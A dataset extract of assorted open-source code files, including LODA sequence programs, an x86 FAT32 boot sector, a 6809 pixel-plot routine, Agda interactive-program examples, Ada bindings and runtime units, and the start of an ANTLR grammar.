max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
programs/oeis/121/A121471.asm | karttu/loda | 1 | 633 | <reponame>karttu/loda
; A121471: a(n) = 9*n^2/4 -4*n +19/8 -3*(-1)^n/8.
; 1,3,11,22,39,59,85,114,149,187,231,278,331,387,449,514,585,659,739,822,911,1003,1101,1202,1309,1419,1535,1654,1779,1907,2041,2178,2321,2467,2619,2774,2935,3099,3269,3442,3621,3803,3991,4182,4379,4579,4785,4994,5209
mov $1,9
mul $1,$0
add $1,2
mul $1,$0
div $1,4
add $1,1
|
bootsect/fat32.asm | joshwyant/myos | 4 | 92297 | <reponame>joshwyant/myos
; 0000:7C00 = Stack top
; 07C0:0000 = Boot sector
; 07E0:0000 = Globals
; :0000 = DAP
; :0010 = Other globals
; 1000:0000 = FAT
; 2000:0000 = Root directory
; 3000:0000 = OS loader
; ...
bits 16
global _start
bootsect:
%include "const.inc"
; ========================
; Boot Sector
; ========================
%include "bpb.inc"
; ===================================
; Boot sector code
; ===================================
_start:
xor ax,ax ; ax = 0
; Setup stack
cli
mov ss,ax ; SS = 0
mov ds,ax ; DS = 0
mov es,ax ; ES = 0
mov sp,7C00h ; SP = 7C00h
sti
; init bss
mov cx,8 ; 8 words
mov di,Packet ; Packet
rep stosw ; Zero memory es:di (ax = 0)
mov [DriveNum], dl ; DL = drive number, save it
mov [PacketSize], byte 16 ; Struct size = 16
mov [PacketNumSectors], byte 1 ; 1 Sector
; Check LBA support
mov bx,55AAh ; must be this
mov ah,41h ; check lba function
int 13h
jc err ; error
cmp bx,0AA55h ; bx holds this if it's enabled
jne err
test cl,1 ; cx bit 1 means disk access using packet structure is allowed
jz err
; Calculate first data sector
movzx eax,byte [bpbNumFATs]
mul dword [bpbFATSectors32]
movzx ecx,word [bpbReservedSectors]
add eax,ecx
mov [FirstDataSector],eax ; first data sector
; Search for "OSLDR"
mov esi,[bpbRootClus]
mov bx,2000h
mov es,bx
readroot:
xor di,di
call ReadCluster
push esi
xor bx,bx
search:
mov al,[es:bx]
test al,al
jz err ; No more files to search
mov al,[es:bx+11] ; flags
test al,18h
jnz cont ; continue if dir or volLabel
mov cx,11 ; ll characters
mov si,filename
mov di,bx
rep cmpsb
jz found
; not found
cont:
add bx,32
movzx ax,[bpbSectorsPerCluster]
mul word [bpbBytesPerSector]
cmp bx,ax
je nextRootClus
jmp search
err:
;mov si,errstr
;mov ah,0Eh
;mov bx,7
;prtchr:
;lodsb
;test al,al
;jz prtstrend
;int 10h
;jmp prtchr
;prtstrend:
.0:
hlt
jmp .0
nextRootClus:
pop esi
cmp esi,0x0FFFFFF8
jc readroot
jmp err ; no more root clusters to read
found:
; esi was pushed but, no need to get rid of it, the stack has reached the end of its life
; copy "OSLDR" to 0000:8000
mov si,[es:bx+0x14] ; first cluster high
shl esi,16
mov si,[es:bx+0x1A] ; first cluster low
xor ax,ax
mov es,ax
mov di,8000h
push es ; prepare retf
push di ;
found0:
call ReadCluster
cmp esi,0x0FFFFFF8
jc found0
mov dl,[DriveNum] ; Drive number
retf ; Go to loaded file
; ================================================
; Function: ReadSectors
;
; es:di = destination
; edx:eax = start sector (lba, 1st sector = 0)
; cx = number of sectors to read
;
; ================================================
ReadSectors:
push si
; get ready
; add hidden sectors to edx:eax
add eax, [bpbHiddenSectors]
adc edx, 0
mov [PacketLBA0], eax
mov [PacketLBA32], edx
.0:
; Read sector
mov si,7E00h ; Packet
mov [PacketOffset] ,di ; Destination offset
mov [PacketSegment],es ; Destination segment
mov dl,[DriveNum] ; Drive number
mov ah,42h ; Extended read function
int 13h
jc err
; advance sector number and destination
add di, [bpbBytesPerSector]
jnc .1 ; if we reach end of ES segment, advance it
mov ax,es
add ax,1000h
mov es,ax
.1: ; Add 1 to the sector number
add dword [PacketLBA0], 1 ; LBA lo
adc dword [PacketLBA32], 0 ; LBA lo
loop .0
pop si
ret
; ===================================
; Function: ReadCluster
;
; es:di = destination
; esi = cluster number
; returns next cluster in esi
; ===================================
ReadCluster:
push bp
mov bp,sp
sub sp,4
mov eax,esi
sub eax,2 ; Subtract unused sectors
jb err ; Given cluster Must be >= 2!
movzx ecx,byte [bpbSectorsPerCluster]
mul ecx
add eax,[FirstDataSector] ; Add first data sector
call ReadSectors
; Find next sector
push es
pushad
mov ax,1000h
mov es,ax
xor di,di
; FAT sector, offset
shl esi,2 ; entry*4 = offset
mov eax,esi
movzx ecx, word [bpbBytesPerSector]
xor edx,edx
div ecx
movzx ecx,word [bpbReservedSectors]
add eax,ecx ; edx=offset, eax=sector
push edx
cmp eax,[FATSector]
je .noreadfat
mov [FATSector],eax
xor dx,dx
mov cx,1
call ReadSectors
.noreadfat:
pop edx
mov esi,[es:edx] ; next cluster is in esi
mov [bp-4],esi ; save si before popping registers
popad
pop es
mov esi,[bp-4] ; get saved si
and esi,0x0FFFFFFF
leave
ret
; ==========================
; strings
; ==========================
;errstr: db 'BOOT FAILURE!',0
filename: db "OSLDR "
; ==========================
; end
; ==========================
; boot sector magic number at org 510
times 510-($-$$) db 0
dw 0AA55h
|
ugbc/src/hw/ef936x/plot.asm | spotlessmind1975/ugbasic | 10 | 16273 | ; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 <NAME> (<EMAIL>)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* PLOT ROUTINE FOR EF936X *
;* *
;* by <NAME> *
;* mc6809 optimization by <NAME> *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
PLOTX EQU $41 ; $42
PLOTY EQU $43
PLOTM EQU $45
PLOTOMA EQU $46
PLOTAMA EQU $47
;--------------
PLOTP
RTS
; input X=X coord, U=Y coord, A=(0 = erase, 1 = set, 2 = get pixel, 3 = get color)
; output B result if A=2 or 3
PLOT
CMPX CLIPX2
BGT PLOTP
CMPX CLIPX1 ; check if plotting out of clipped area
BLT PLOTP ; yes => return
CMPU CLIPY2
BGT PLOTP
CMPU CLIPY1
BLT PLOTP
STX <PLOTX
STU <PLOTY
STA <PLOTM
LDB <PLOTY+1
LDA #40
MUL ; no => compute video adress
ADDD BITMAPADDRESS ; 7
TFR D,X ; 6
LDU #$A7C0 ; that adress is handy
PLOTMODE
LDA CURRENTMODE
CMPA #3 ; mode 3 ?
BNE PLOT0 ; no => goto common adress decoding
PLOT3 ; yes
LDA ,U
ORA #1 ; prepare A for plane 1
LDB <PLOTX+1
LSRB
LSRB ; carry = bit2
ABX ; adjust for X position
SBCA #0 ; chose plane 0/1 according bit 2 of X coordinate
STA ,U ; select proper plane
BRA PLOTCOMMON
PLOTD ; plot draw (placed here to keep the jump small)
LDA CURRENTMODE
CMPA #2
BEQ PLOTD2 ; plot in mode 2
CMPA #3
BEQ PLOTD3 ; plot in mode 3
PLOTD0
PLOTD1
PLOTD4
LDA _PEN ; other modes - asked color
EORA ,X ; compare with bg colo
ANDA #$0F
BEQ PLOTE ; equal ? yes ==> erase pixel
LDA _PEN ; no ==> regular plot
LSLA
LSLA
LSLA
LSLA
STA PLOTD4x+1 ; prepare paper colo
LDA ,X ; get color pair
ANDA #$0F ; clear paper color
PLOTD4x
ORA #0 ; add current paper color
STA ,X ; set color
;---------
;set point
;---------
INC ,U ; form plane
LDA ,X ; get byte
ORA ,Y ; set bit
STA ,X ; write back to video memory
RTS ; done
;-----------
;erase point
;-----------
PLOTE
INC ,U ; form plane
LDA ,X ; get bit mask
ANDA 8,Y ; clear bit
STA ,X ; write back to video memory
RTS ; done
PLOT0
PLOT1
PLOT2
PLOT4
LDD <PLOTX ; common adress calculation for modes
LSRA ; 0/1/2/4
RORB
LSRB
LSRB ; B = PLOTX/8
ABX ; adjust for X position
LDY #PLOTORBIT
LDB <(PLOTX+1)
ANDB #$07
LEAY B,Y ; Y point to "OR" bitmask, Y+8 to "AND" bitmask
LDB ,U ; select color plane
ANDB #254
STB ,U
PLOTCOMMON
;----------------------------------------------
;depending on PLOTM, routine draws or erases
;----------------------------------------------
LDA <PLOTM ; (0 = erase, 1 = set, 2 = get pixel, 3 = get color)
BEQ PLOTE
DECA
BEQ PLOTD ; if = 1 then branch to draw the point
DECA
BEQ PLOTG ; if = 2 then branch to get the point (0/1)
DECA
BEQ PLOTC ; if = 3 then branch to get the color index (0...15)
RTS
PLOTD2 ; Draw point with mode 2 (we are in plane0)
LDA ,X ; get row with point in it
LDB _PEN
LSRB ; b0 of PEN set ?
BCC PLOTD21 ; no => clear bit
ORA ,Y ; yes => set bit
BRA PLOTD22
PLOTD21
ANDA 8,Y
PLOTD22
STA ,X ; write back to video memory
INC ,U ; plane 1
LDA ,X ; get mask with point in it
LSRB ; b1 of PEN set ?
BCC PLOTD24 ; no => clear BIT
ORA ,Y ; yes => set BIT
BRA PLOTD25
PLOTD24
ANDA 8,Y
PLOTD25
STA ,X ; write back to video memory
RTS ; done
PLOTD3
LDA _PEN ; Draw point in mode 3
ANDA #$0F ; isolate color
LDB <(PLOTX+1)
LSRB ; odd column ?
BCS PLOTD3LO ; yes => set low nibble
PLOTD3HI
ASLA ; no => set high nibble
ASLA
ASLA
ASLA
STA PLOTD3nibble+1
LDA ,X
ANDA #$0F
PLOTD3nibble
ORA #$55
STA ,X
RTS ; done
PLOTD3LO
STA PLOTD3nibble+1
LDA ,X
ANDA #$F0
BRA PLOTD3nibble
PLOTG ; get point $00=unset $ff=set
LDA CURRENTMODE
CMPA #2
BEQ PLOTG2
CMPA #3
BEQ PLOTG3
INC ,U ; plane 1
LDB ,X ; get row with point in it
ANDB ,Y ; bit set ?
PLOTG0
BEQ PLOTG1 ; no => return 0
LDB #$FF ; yes => return true
PLOTG1
; STB <PLOTM
RTS
PLOTG2
PLOTG3
BSR PLOTC ; get current color
EORB _PAPER ; same as paper ?
ANDB #$0F ; yes => return 0
BRA PLOTG0 ; no => return true
; Get pixel color according to video mode
PLOTC
LDA CURRENTMODE
CMPA #2
BEQ PLOT2C ; mode 2 specific
CMPA #3
BEQ PLOT3C ; mode 3 specific
PLOT0C
PLOT1C
PLOT4C ; modes 0/1/4
LDB ,X ; get color byte
INC ,U ; bitmask plane
LDA ,X ; get pixels byte
ANDA ,Y ; bit set ?
BEQ PLOTC01 ; no => get lowwer nibble
PLOTC00
LSRB ; yes => get upper nibble
LSRB
LSRB
LSRB
PLOTC01
ANDB #15 ; result in B
; STB <PLOTM
RTS
PLOT2C
CLRB ; mode 2 - clear all bits
LDA ,X ; get bitmask at plane0
ANDA ,Y ; point set ?
BEQ PLOT2C0 ; no => skip
INCB ; yes => set b0
PLOT2C0
INC ,U ; bit plane 1
LDA ,X ; get bitmask
ANDA ,Y ; point set ?
BEQ PLOT2C1 ; no => skip
ORB #2 ; yes => set b1
PLOT2C1
; STB <PLOTM
RTS ; result in B
PLOT3C
LDB ,X ; mode 3 - get color pair
LDA <PLOTX+1
LSRA
BCS PLOTC01 ; odd column => lower nibble
BRA PLOTC00 ; even column => upper nibble
;----------------------------------------------------------------
PLOTORBIT
fcb %10000000
fcb %01000000
fcb %00100000
fcb %00010000
fcb %00001000
fcb %00000100
fcb %00000010
fcb %00000001
PLOTANDBIT
fcb %01111111
fcb %10111111
fcb %11011111
fcb %11101111
fcb %11110111
fcb %11111011
fcb %11111101
fcb %11111110
|
test/Succeed/Issue836.agda | cruhland/agda | 1,989 | 12347 | -- Andreas, 2013-05-02 This ain't a bug, it is a feature.
-- {-# OPTIONS -v scope.name:10 #-}
-- {-# OPTIONS -v scope:10 #-}
module Issue836 where
module M where
record R : Set₁ where
field
X : Set
open M using (R)
X : R → Set
X = R.X
-- A glimpse at the scope (showing only concrete names, though):
-- modules
-- * scope Issue836
-- private names R --> [Issue836.M.R]
-- public modules M --> [Issue836.M]
-- * scope Issue836.M
-- public names R --> [Issue836.M.R]
-- modules R --> [Issue836.M.R]
-- * scope Issue836.M.R
-- public names X --> [Issue836.M.R.X]
-- Nisse:
-- The open directive did not mention the /module/ R, so (I think
-- that) the code above should be rejected.
-- Andreas:
-- NO, it is a feature that projections can also be accessed via
-- the record /type/.
-- Ulf:
-- With the fix to 836 using (R) now means using (R; module R).
|
programs/oeis/061/A061504.asm | neoneye/loda | 22 | 83827 | <reponame>neoneye/loda
; A061504: a(n+1) = le nombre des lettres dans a(n).
; 1,2,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4,6,3,5,4
lpb $0
mov $1,$0
sub $0,2
cmp $2,0
add $1,$2
lpe
add $0,$1
add $0,1
|
ch1/sum.adb | drm343/drm343.github.io | 0 | 29098 | with Ada.Text_IO; use Ada.Text_IO;
with Ada.Integer_Text_IO; use Ada.Integer_Text_IO;
procedure Sum is
subtype Based_From_2 is Integer range 2 .. 4;
type Range_n_Based is array (Positive range <>) of Integer;
Prime_Number : Range_n_Based(Based_From_2) := (2, 3, 5);
function Sum_Array (A : Range_n_Based) return Integer is
Result : Integer := 0;
begin
for Index in A'range loop
Result := Result + A (Index);
end loop;
return Result;
end Sum_Array;
procedure Sum_Array_in_out (A : in Range_n_Based; Result : in out Integer) is
begin
Result := 0;
for Index in A'range loop
Result := Result + A (Index);
end loop;
end Sum_Array_in_out;
procedure Sum_Array_out (A : in Range_n_Based; Result : out Integer) is
tmp : Integer := 0;
begin
for Index in A'range loop
tmp := tmp + A (Index);
end loop;
Result := tmp;
end Sum_Array_out;
procedure Put_Line (x : Integer) is
begin
Put (x);
New_Line;
end Put_Line;
Result : Integer := 0;
begin
Put_Line (Sum_Array (Prime_Number));
Sum_Array_in_out (Prime_Number, Result);
Put_Line (Result);
Sum_Array_out (Prime_Number, Result);
Put_Line (Result);
end;
|
out/record2.adb | FardaleM/metalang | 22 | 25296 | <gh_stars>10-100
with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C;
use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C;
procedure record2 is
type stringptr is access all char_array;
procedure PInt(i : in Integer) is
begin
String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left));
end;
procedure SkipSpaces is
C : Character;
Eol : Boolean;
begin
loop
Look_Ahead(C, Eol);
exit when Eol or C /= ' ';
Get(C);
end loop;
end;
type toto;
type toto_PTR is access toto;
type toto is record
foo : Integer;
bar : Integer;
blah : Integer;
end record;
function mktoto(v1 : in Integer) return toto_PTR is
t : toto_PTR;
begin
t := new toto;
t.foo := v1;
t.bar := 0;
t.blah := 0;
return t;
end;
function result(t : in toto_PTR) return Integer is
begin
t.blah := t.blah + 1;
return t.foo + t.blah * t.bar + t.bar * t.foo;
end;
t : toto_PTR;
begin
t := mktoto(4);
Get(t.bar);
SkipSpaces;
Get(t.blah);
PInt(result(t));
end;
|
src/common/keccak-generic_keccakf-lane_complementing_permutation.ads | damaki/libkeccak | 26 | 11682 | -------------------------------------------------------------------------------
-- Copyright (c) 2019, <NAME>
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
-- * Redistributions of source code must retain the above copyright
-- notice, this list of conditions and the following disclaimer.
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
-- * The name of the copyright holder may not be used to endorse or promote
-- Products derived from this software without specific prior written
-- permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY
-- DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-- (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-- LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-- ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
-- THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
-- @summary
-- Lane complementing implementation of the Keccak-f permutation.
--
-- @description
-- This implementation is ported from the "lane complemented"
-- implementation by the Keccak, Keyak, and Ketje teams provided in the
-- Keccak Code Package.
--
-- In the Optimized implementation, 5 XOR, 5 AND, and 5 NOT operations are
-- required per plane (5 lanes). In this lane complimenting implementation
-- the number of NOT operations is reduced from 5 to 1 per plane by storing
-- the complement of certain lanes.
--
-- @group Keccak-f
generic
package Keccak.Generic_KeccakF.Lane_Complementing_Permutation
is
generic
-- Number of rounds.
--
-- By default, the definition from The Keccak Reference is used.
Num_Rounds : Round_Count := 12 + (2 * Lane_Size_Log);
procedure Permute (S : in out Lane_Complemented_State)
with Global => null;
end Keccak.Generic_KeccakF.Lane_Complementing_Permutation;
|
openal-global.adb | io7m/coreland-openal-ada | 1 | 20225 | with OpenAL.Thin;
with Interfaces.C;
with Interfaces.C.Strings;
package body OpenAL.Global is
package C renames Interfaces.C;
package C_Strings renames Interfaces.C.Strings;
function Get_String (Parameter : Types.Enumeration_t) return C_Strings.chars_ptr;
pragma Import (C, Get_String, "alGetString");
type Map_From_Distance_Model_t is array (Distance_Model_t) of Types.Enumeration_t;
Map_From_Distance_Model : constant Map_From_Distance_Model_t :=
(None => Thin.AL_NONE,
Inverse_Distance => Thin.AL_INVERSE_DISTANCE,
Inverse_Distance_Clamped => Thin.AL_INVERSE_DISTANCE_CLAMPED,
Linear_Distance => Thin.AL_LINEAR_DISTANCE,
Linear_Distance_Clamped => Thin.AL_LINEAR_DISTANCE_CLAMPED,
Exponent_Distance => Thin.AL_EXPONENT_DISTANCE,
Exponent_Distance_Clamped => Thin.AL_EXPONENT_DISTANCE_CLAMPED,
Unknown_Distance_Model => 0);
function Extensions return String is
begin
return C_Strings.Value (Get_String (Thin.AL_EXTENSIONS));
end Extensions;
--
-- Get_*
--
function Get_Distance_Model return Distance_Model_t is
Value : Types.Integer_t;
Return_Value : Distance_Model_t;
begin
Value := Thin.Get_Integer (Thin.AL_DISTANCE_MODEL);
case Value is
when Thin.AL_NONE => Return_Value := None;
when Thin.AL_INVERSE_DISTANCE => Return_Value := Inverse_Distance;
when Thin.AL_INVERSE_DISTANCE_CLAMPED => Return_Value := Inverse_Distance_Clamped;
when Thin.AL_LINEAR_DISTANCE => Return_Value := Linear_Distance;
when Thin.AL_LINEAR_DISTANCE_CLAMPED => Return_Value := Linear_Distance_Clamped;
when Thin.AL_EXPONENT_DISTANCE => Return_Value := Exponent_Distance;
when Thin.AL_EXPONENT_DISTANCE_CLAMPED => Return_Value := Exponent_Distance_Clamped;
when others => Return_Value := Unknown_Distance_Model;
end case;
return Return_Value;
end Get_Distance_Model;
function Get_Doppler_Factor return Types.Natural_Float_t is
begin
return Thin.Get_Float (Thin.AL_DOPPLER_FACTOR);
end Get_Doppler_Factor;
function Get_Speed_Of_Sound return Types.Positive_Float_t is
begin
return Thin.Get_Float (Thin.AL_SPEED_OF_SOUND);
end Get_Speed_Of_Sound;
--
-- Is_Extension_Present
--
function Is_Extension_Present (Name : in String) return Boolean is
C_Name : aliased C.char_array := C.To_C (Name);
begin
return Boolean (Thin.Is_Extension_Present (C_Name (C_Name'First)'Address));
end Is_Extension_Present;
function Renderer return String is
begin
return C_Strings.Value (Get_String (Thin.AL_RENDERER));
end Renderer;
--
-- Set_*
--
procedure Set_Distance_Model (Model : in Valid_Distance_Model_t) is
begin
Thin.Distance_Model (Map_From_Distance_Model (Model));
end Set_Distance_Model;
procedure Set_Doppler_Factor (Factor : in Types.Natural_Float_t) is
begin
Thin.Doppler_Factor (Factor);
end Set_Doppler_Factor;
procedure Set_Speed_Of_Sound (Factor : in Types.Positive_Float_t) is
begin
Thin.Speed_Of_Sound (Factor);
end Set_Speed_Of_Sound;
function Vendor return String is
begin
return C_Strings.Value (Get_String (Thin.AL_VENDOR));
end Vendor;
function Version return String is
begin
return C_Strings.Value (Get_String (Thin.AL_VERSION));
end Version;
end OpenAL.Global;
|
special_keys/expose_ctrl.scpt | caius/special_keys | 0 | 1114 | <reponame>caius/special_keys
-- control-expose shows app windows
tell application "System Events" to key code 160 using {control down}
|
programs/oeis/139/A139756.asm | neoneye/loda | 22 | 80721 | <gh_stars>10-100
; A139756: Binomial transform of A004526.
; 0,0,1,4,12,32,80,192,448,1024,2304,5120,11264,24576,53248,114688,245760,524288,1114112,2359296,4980736,10485760,22020096,46137344,96468992,201326592,419430400,872415232,1811939328,3758096384,7784628224,16106127360,33285996544,68719476736,141733920768,292057776128,601295421440,1236950581248,2542620639232,5222680231936,10720238370816,21990232555520,45079976738816,92358976733184,189115999977472,387028092977152,791648371998720,1618481116086272,3307330976350208,6755399441055744,13792273858822144,28147497671065600,57420895248973824,117093590311632896,238690780250636288,486388759756013568,990791918021509120,2017612633061982208,4107282860161892352,8358680908399640576,17005592192950992896,34587645138205409280,70328211781017665536,142962266571249025024,290536219160925437952,590295810358705651712,1199038364791120855040,2434970217729660813312,4943727411754159833088,10035028776097996079104,20365205457375344984064,41320706725109395619840,83822005070936202543104,170005193383307227693056,344732753249484100599808,698910239464707491627008,1416709944860893564108800,2871198821584744289927168,5817955506895402903273472,11787026741242634453385216,23876284937388926200446976,48357032784585166988247040,97922991388784963151200256,198263834416799184651812864,401363372112056886002450432,812398150781030805402550272,1644139114675895677600399360,3326963855579459488791396352,6731298963614255244763987968,13617340432139183023890366464,27544165874099711116505513984,55707301767842112370460590080,112652543574969605015820304384,227780967228509970581438857216,460513694614161462262474211328,930930909542605966724141416448,1881668859713778017846668820480,3802951800684688204490109616128,7685131763883640746573763182592,15528719852795810168334614265856
sub $0,1
mov $1,2
pow $1,$0
mul $1,$0
div $1,2
mov $0,$1
|
llvm-gcc-4.2-2.9/gcc/ada/s-vallld.adb | vidkidz/crossbridge | 1 | 15485 | <reponame>vidkidz/crossbridge
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . V A L _ L L D --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2005, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 51 Franklin Street, Fifth Floor, --
-- Boston, MA 02110-1301, USA. --
-- --
-- As a special exception, if other files instantiate generics from this --
-- unit, or you link this unit with other files to produce an executable, --
-- this unit does not by itself cause the resulting executable to be --
-- covered by the GNU General Public License. This exception does not --
-- however invalidate any other reasons why the executable file might be --
-- covered by the GNU Public License. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with System.Val_Real; use System.Val_Real;
package body System.Val_LLD is
----------------------------
-- Scan_Long_Long_Decimal --
----------------------------
-- We use the floating-point circuit for now, this will be OK on a PC,
-- but definitely does NOT have the required precision if the longest
-- float type is IEEE double. This must be fixed in the future ???
function Scan_Long_Long_Decimal
(Str : String;
Ptr : access Integer;
Max : Integer;
Scale : Integer) return Long_Long_Integer
is
Val : Long_Long_Float;
begin
Val := Scan_Real (Str, Ptr, Max);
return Long_Long_Integer (Val * 10.0 ** Scale);
end Scan_Long_Long_Decimal;
-----------------------------
-- Value_Long_Long_Decimal --
-----------------------------
-- Again we cheat and use floating-point ???
function Value_Long_Long_Decimal
(Str : String;
Scale : Integer) return Long_Long_Integer
is
begin
return Long_Long_Integer (Value_Real (Str) * 10.0 ** Scale);
end Value_Long_Long_Decimal;
end System.Val_LLD;
|
libsrc/msx/msx_breakoff.asm | Toysoft/z88dk | 0 | 2720 | ;
; MSX specific routines
; by <NAME>, December 2007
;
; void msx_breakoff();
;
; Disable BREAK
;
;
; $Id: msx_breakoff.asm,v 1.4 2016-06-16 19:30:25 dom Exp $
;
SECTION code_clib
PUBLIC msx_breakoff
PUBLIC _msx_breakoff
EXTERN brksave
INCLUDE "target/msx/def/msxbasic.def"
msx_breakoff:
_msx_breakoff:
ld hl,BASROM ; disable Control-STOP
ld a,(hl)
cp 1
ret z
ld (brksave),a
ld (hl),1
ret
|
oeis/096/A096026.asm | neoneye/loda-programs | 11 | 87153 | <filename>oeis/096/A096026.asm
; A096026: Numbers n such that (n+j) mod (2+j) = 1 for j from 0 to 8 and (n+9) mod 11 <> 1.
; 2523,5043,7563,10083,12603,15123,17643,20163,22683,25203,30243,32763,35283,37803,40323,42843,45363,47883,50403,52923,57963,60483,63003,65523,68043,70563,73083,75603,78123,80643,85683,88203,90723,93243,95763,98283,100803,103323,105843,108363,113403,115923,118443,120963,123483,126003,128523,131043,133563,136083,141123,143643,146163,148683,151203,153723,156243,158763,161283,163803,168843,171363,173883,176403,178923,181443,183963,186483,189003,191523,196563,199083,201603,204123,206643,209163,211683
mov $1,$0
div $1,10
add $0,$1
mul $0,2520
add $0,2523
|
presentationsAndExampleCode/agdaImplementorsMeetingGlasgow22April2016AntonSetzer/interactiveProgramsAgdaUnsized.agda | agda/ooAgda | 23 | 5043 | module interactiveProgramsAgdaUnsized where
open import NativeIO
open import Function
record IOInterface : Set₁ where
field Command : Set
Response : (c : Command) → Set
open IOInterface public
mutual
record IO (I : IOInterface) (A : Set) : Set where
coinductive
constructor delay
field force : IO' I A
data IO' (I : IOInterface) (A : Set) : Set where
do' : (c : Command I) (f : Response I c → IO I A) → IO' I A
return' : (a : A) → IO' I A
open IO public
module _ {I : IOInterface} (let C = Command I) (let R = Response I) where
do : ∀{A} (c : C) (f : R c → IO I A) → IO I A
force (do c f) = do' c f
return : ∀{A} (a : A) → IO I A
force (return a) = return' a
infixl 2 _>>=_
_>>=_ : ∀{A B} (m : IO I A) (k : A → IO I B) → IO I B
force (m >>= k) with force m
... | do' c f = do' c λ x → f x >>= k
... | return' a = force (k a)
{-# NON_TERMINATING #-}
translateIO : ∀ {A} (tr : (c : C) → NativeIO (R c)) → IO I A → NativeIO A
translateIO tr m = case (force m) of λ
{ (do' c f) → (tr c) native>>= λ r → translateIO tr (f r)
; (return' a) → nativeReturn a
}
data ConsoleCommand : Set where
getLine : ConsoleCommand
putStrLn : String → ConsoleCommand
ConsoleResponse : ConsoleCommand → Set
ConsoleResponse getLine = String
ConsoleResponse (putStrLn s) = Unit
ConsoleInterface : IOInterface
Command ConsoleInterface = ConsoleCommand
Response ConsoleInterface = ConsoleResponse
IOConsole : Set → Set
IOConsole = IO ConsoleInterface
translateIOConsoleLocal : (c : ConsoleCommand) → NativeIO (ConsoleResponse c)
translateIOConsoleLocal (putStrLn s) = nativePutStrLn s
translateIOConsoleLocal getLine = nativeGetLine
translateIOConsole : {A : Set} → IOConsole A → NativeIO A
translateIOConsole = translateIO translateIOConsoleLocal
{-# NON_TERMINATING #-}
cat : IOConsole Unit
force cat = do' getLine λ{ line →
do (putStrLn line) λ _ →
cat
}
mutual
cat' : IOConsole Unit
force cat' = do' getLine λ{ line →
cat'' line}
cat'' : String → IOConsole Unit
force (cat'' line) = do' (putStrLn line) λ _ →
cat'
main : NativeIO Unit
main = translateIOConsole cat
|
ccl/parser/CCL.g4 | clouditor/clouditor | 49 | 1102 | <reponame>clouditor/clouditor<filename>ccl/parser/CCL.g4<gh_stars>10-100
grammar CCL;
condition: assetType 'has' expression EOF;
assetType: simpleAssetType /*| filteredAssetType*/;
simpleAssetType: field;
//filteredAssetType: field 'with' expression;
field: Identifier;
expression: simpleExpression | notExpression | inExpression;
simpleExpression:
isEmptyExpression
| withinExpression
| comparison
| '(' expression ')';
